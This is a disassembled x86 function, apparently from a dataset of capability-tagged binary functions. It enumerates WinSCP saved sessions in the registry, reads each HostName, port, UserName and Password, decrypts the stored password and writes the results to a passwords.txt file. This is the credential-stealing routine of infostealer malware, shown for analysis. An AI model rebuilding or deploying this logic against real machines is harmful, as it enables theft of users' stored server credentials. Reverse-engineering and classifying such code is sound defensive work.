Function at 0x40eecc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe14
and dword [ebp - 0x18], 0
mov byte [ebp - 0x128], 0
push 0x103
push 0
lea eax, [ebp - 0x127]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x20], 0x104
mov byte [ebp - 0x528], 0
push 0x3ff
push 0
lea eax, [ebp - 0x527]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov byte [ebp - 0xd38], 0
push 0x3ff
push 0
lea eax, [ebp - 0xd37]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov byte [ebp - 0x930], 0
push 0x3ff
push 0
lea eax, [ebp - 0x92f]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x400
push 0
lea eax, [ebp - 0x528]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x400
push 0
lea eax, [ebp - 0xd38]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x400
push 0
lea eax, [ebp - 0x930]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x938], 0x400
mov dword [ebp - 0x530], 0x400
mov dword [ebp - 8], 0x400
lea eax, [ebp - 0x1c]
push eax
push 1
push 0
push str.SoftwareMartin_PrikrylWinSCP_2Configuration
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40efda
lea ecx, [ebp + 8]
call fcn.0040131a
jmp 0x40f4ea
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x52c]
push eax
push 0
push 0x10
push str.UseMasterPassword
push str.Security
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x40f020
cmp dword [ebp - 0x1c], 0
je 0x40f013
push dword [ebp - 0x1c]
call dword [0x6417d0]
and dword [ebp - 0x1c], 0
lea ecx, [ebp + 8]
call fcn.0040131a
jmp 0x40f4ea
cmp dword [ebp - 0x52c], 0
je 0x40f049
cmp dword [ebp - 0x1c], 0
je 0x40f03c
push dword [ebp - 0x1c]
call dword [0x6417d0]
and dword [ebp - 0x1c], 0
lea ecx, [ebp + 8]
call fcn.0040131a
jmp 0x40f4ea
cmp dword [ebp - 0x1c], 0
je 0x40f05c
push dword [ebp - 0x1c]
call dword [0x6417d0]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 9
push 0
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f085
lea ecx, [ebp + 8]
call fcn.0040131a
jmp 0x40f4ea
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [0x64185c]
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0
je 0x40f0d3
cmp dword [ebp - 0x1c], 0
je 0x40f0c6
push dword [ebp - 0x1c]
call dword [0x6417d0]
and dword [ebp - 0x1c], 0
lea ecx, [ebp + 8]
call fcn.0040131a
jmp 0x40f4ea
push 0x425200
lea ecx, [ebp - 0x14]
call fcn.00411668
push str.Soft:_WinSCP_n
lea eax, [ebp - 0xd58]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xd58]
call fcn.00411701
push str.Host:
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xd64]
call fcn.00411701
lea eax, [ebp - 0x938]
push eax
lea eax, [ebp - 0x528]
push eax
push 0
push 2
push str.HostName
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xd70]
call fcn.00411701
mov dword [ebp - 0xd44], 4
mov dword [ebp - 0xd3c], 4
and dword [ebp - 0xd4c], 0
mov dword [ebp - 0xd40], 4
lea eax, [ebp - 0xd40]
push eax
lea eax, [ebp - 0xd48]
push eax
push 0
push 0xffff
push str.PortNumber
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x40f219
push dword [ebp - 0xd48]
lea eax, [ebp - 0xd7c]
push eax
call fcn.0041370c
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xd88]
push eax
lea ecx, [ebp - 0x14]
call fcn.004117e0
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xd88]
call fcn.00411701
lea ecx, [ebp - 0xd7c]
call fcn.00411701
jmp 0x40f241
push 0x429018
lea eax, [ebp - 0xd94]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xd94]
call fcn.00411701
push str._nLogin:
lea eax, [ebp - 0xda0]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xda0]
call fcn.00411701
lea eax, [ebp - 0x530]
push eax
lea eax, [ebp - 0xd38]
push eax
push 0
push 2
push str.UserName
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0xd38]
push eax
lea eax, [ebp - 0xdac]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xdac]
call fcn.00411701
push 0x428e48
lea eax, [ebp - 0xdb8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xdb8]
call fcn.00411701
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x930]
push eax
push 0
push 2
push str.Password
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegGetValueA]
push str.Password:
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xdc4]
call fcn.00411701
push 0x425200
lea eax, [ebp - 0x930]
push eax
call dword [0x641840]
test eax, eax
jne 0x40f349
jmp 0x40f3d3
lea eax, [ebp - 0x930]
push eax
lea eax, [ebp - 0xd38]
push eax
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0xde0]
push eax
call fcn.0040e7c7
add esp, 0x10
mov dword [ebp - 0xe10], eax
mov eax, dword [ebp - 0xe10]
cmp dword [eax + 0x14], 0x10
jb 0x40f38f
mov eax, dword [ebp - 0xe10]
mov eax, dword [eax]
mov dword [ebp - 0xe14], eax
jmp 0x40f39b
mov eax, dword [ebp - 0xe10]
mov dword [ebp - 0xe14], eax
push dword [ebp - 0xe14]
lea eax, [ebp - 0xdec]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xdec]
call fcn.00411701
push 0
push 1
lea ecx, [ebp - 0xde0]
call fcn.0041002f
push 0x428fe4
lea eax, [ebp - 0xdf8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041185b
push eax
lea ecx, [ebp - 0x14]
call fcn.0041177a
lea ecx, [ebp - 0xdf8]
call fcn.00411701
mov dword [ebp - 0x20], 0x104
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call dword [0x64185c]
mov dword [ebp - 0x934], eax
push 0
push 0
lea eax, [ebp - 0xd38]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x930]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp - 0x934], 0x103
jne 0x40f0e0
lea ecx, [ebp - 0x14]
call fcn.0041193a
push eax
call dword [0x641724]
push eax
lea ecx, [ebp - 0x14]
call fcn.0041193a
push eax
sub esp, 0xc
mov ecx, esp
push str.passwords.txt
call fcn.00411668
sub esp, 0x68
mov ecx, esp
lea eax, [ebp + 8]
push eax
call fcn.0040134c
lea eax, [ebp - 0xe0c]
push eax
call fcn.00418db9
add esp, 0x80
lea ecx, [ebp - 0xe0c]
call fcn.00411701
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp - 0x1c], 0
je 0x40f4da
push dword [ebp - 0x1c]
call dword [0x6417d0]
and dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x14]
call fcn.00411701
lea ecx, [ebp + 8]
call fcn.0040131a
leave
ret